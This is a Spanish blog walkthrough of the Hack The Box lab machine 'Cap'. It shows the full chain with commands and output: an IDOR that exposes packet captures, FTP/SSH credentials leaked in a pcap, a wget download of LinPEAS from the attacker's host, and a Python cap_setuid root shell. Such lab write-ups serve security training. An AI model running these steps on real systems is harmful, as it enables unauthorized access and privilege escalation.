Cap - HTB Cap - HTB

Cap - HTB

Introducción

La máquina Cap de Hack The Box es una máquina Linux clasificada como fácil. Para su resolución, comencé realizando un escaneo de puertos que reveló una página web en ejecución en el puerto 80. Esta página permitía descargar un reporte de tráfico de red, pero presentaba una vulnerabilidad de tipo IDOR, la cual exploté para acceder a otros reportes.

Al analizar uno de estos archivos con Wireshark, descubrí credenciales que me permitieron autenticarme en el servicio FTP, donde obtuve la primera flag (user.txt). Gracias al reúso de credenciales, estas mismas credenciales funcionaron para acceder al sistema mediante SSH, logrando así una shell de usuario.

Finalmente, tras ejecutar el script LinPEAS, identifiqué una vulnerabilidad relacionada con las capacidades de Python cap_setuid. Aprovechando esta configuración, escalé privilegios cambiando mi UID y obtuve una shell como root, completando la máquina.

Reconocimiento Inicial

Nmap

Realicé un escaneo inicial con nmap para identificar servicios activos:

Terminal window
zynth3t1k@n00n3$ nmap -p- --min-rate 10000 10.10.10.245
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-15 21:21 CDT
Nmap scan report for cap.htb (10.10.10.245)
Host is up (0.086s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 8.43 seconds

Encontré tres puertos abiertos, así que procedí a realizar un escaneo más detallado para obtener información sobre las versiones y configuraciones:

Terminal window
zynth3t1k@n00n3$ nmap -p21,22,80 -sVC --min-rate 10000 10.10.10.245
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-15 21:22 CDT
Nmap scan report for cap.htb (10.10.10.245)
Host is up (0.089s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.03 seconds

Dado que el puerto 80 alojaba una página web, agregué el dominio cap.htb a mi archivo /etc/hosts para facilitar el acceso.

Página web

Al acceder al sitio, encontré un panel de seguridad con varias secciones de análisis de red:

Security Dashboard

La única sección que llamó mi atención fue Security Snapshot, que parecía mostrar un reporte rápido del tráfico de red:

Security Dashboard

Al descargar el reporte y analizarlo con Wireshark, no encontré información relevante. Sin embargo, al revisar nuevamente la página, noté que el enlace de Security Snapshot cambiaba dinámicamente, junto con el número de paquetes mostrados en el reporte:

Security Dashboard

Esto me indicó que la aplicación estaba recuperando archivos almacenados en la ruta /data/, sugiriendo un posible acceso a otros reportes.

Explotación de Vulnerabilidad IDOR

Al notar que la URL cambiaba dinámicamente (ejemplo: /data/5, /data/4, etc.), probé modificar manualmente el parámetro para acceder a otros archivos. Confirmé así que existía una vulnerabilidad IDOR, permitiéndome descargar reportes fuera del alcance previsto. El reporte que mas capto mi atención fue el 0 ya que fue el que tenia mayor trafico de red registrado:

Security Dashboard

Análisis de Tráfico y Acceso Inicial

Identificación de Credenciales en el PCAP

Al analizarlo con Wireshark descubrí una interacción con el servicio FTP la cual nos mostraba las credenciales nathan:Buck3tH4TF0RM3!:

Security Dashboard

Acceso al Servicio FTP

Las credenciales fueron validadas exitosamente, permitiéndome conectarme al servicio:

Terminal window
zynth3t1k@n00n3$ ftp [email protected]
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

User Flag

Dentro del directorio FTP, identifiqué y descargué la flag del usuario:

Terminal window
ftp> dir
229 Entering Extended Passive Mode (|||55386|)
150 Here comes the directory listing.
-r-------- 1 1001 1001 33 May 16 02:17 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||33345|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |**************************************************************************************************************************************************| 33 467.05 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.37 KiB/s)

Verificación local del archivo:

Terminal window
zynth3t1k@n00n3$ lsd
user.txt

Acceso al Servicio SSH

Tomando en cuenta lo común que es la reutilización de contraseñas, ingrese las credenciales en el servicio SSH, las cuales funcionaron:

Terminal window
zynth3t1k@n00n3$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri May 16 03:03:49 UTC 2025
System load: 0.0
Usage of /: 36.6% of 8.73GB
Memory usage: 21%
Swap usage: 0%
Processes: 222
Users logged in: 0
IPv4 address for eth0: 10.10.10.245
IPv6 address for eth0: dead:beef::250:56ff:feb0:aef4
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$

PrivEsc

Transferencia de LinPEAS

Para identificar posibles vectores de escalada, descargué el script LinPEAS desde mi máquina local a la víctima. Usando Python inicie un servidor HTTP local en mi máquina:

Terminal window
zynth3t1k@n00n3$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Usando wget la descargue en la máquina víctima:

Terminal window
nathan@cap:~$ wget http://10.10.14.9:8000/linpeas.sh
--2025-05-16 03:16:44-- http://10.10.14.9:8000/linpeas.sh
Connecting to 10.10.14.9:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 840139 (820K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=================================>] 820.45K 1.87MB/s in 0.4s
2025-05-16 03:16:44 (1.87 MB/s) - ‘linpeas.sh’ saved [840139/840139]

Ejecución y Análisis de LinPEAS

Al ejecutar el script, descubrí una capacidad interesante en Python:

Terminal window
[...]
╔══════════╣ Capabilities
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
[...]

La capacidad cap_setuid permite a Python cambiar su UID, incluyendo la posibilidad de establecerlo como root UID=0.

Root Shell

cap_setuid

Esto puede explotarse para obtener una shell con privilegios root de la siguiente manera:

Terminal window
nathan@cap:~$ python3
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system("/bin/bash")
root@cap:~#

Root Flag

Una vez dentro como root solo hace falta buscar nuestra flag:

Terminal window
root@cap:~# ls /root/
root.txt

← Regresar al blog